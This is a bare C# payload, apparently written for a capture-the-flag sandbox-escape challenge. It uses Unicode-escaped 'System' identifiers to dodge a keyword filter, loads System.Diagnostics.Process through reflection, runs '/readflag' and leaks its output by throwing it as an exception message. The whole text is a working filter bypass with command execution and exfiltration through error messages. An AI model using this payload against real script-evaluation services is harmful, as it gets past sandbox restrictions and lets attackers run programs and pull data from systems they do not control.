Sy\u0073tem.Func loadAsm = Sy\u0073tem.Reflection.Assembly.Load; dynamic procAsm = loadAsm("Sy\u0073tem.Diagnostics.Process"); var procType = procAsm.GetType("Sy\u0073tem.Diagnostics.Process"); var psiType = procAsm.GetType("Sy\u0073tem.Diagnostics.ProcessStartInfo"); dynamic psi = Sy\u0073tem.Activator.CreateInstance(psiType); psi.FileName = "/readflag"; psi.RedirectStandardOutput = true; psi.UseShellExecute = false; dynamic proc = Sy\u0073tem.Activator.CreateInstance(procType); proc.StartInfo = psi; proc.Start(); var flag = proc.StandardOutput.ReadToEnd(); proc.WaitForExit(); throw (Sy\u0073tem.Exception)Sy\u0073tem.Activator.CreateInstance(Sy\u0073tem.Type.GetType("Sy\u0073tem.Exception"), flag); $EOF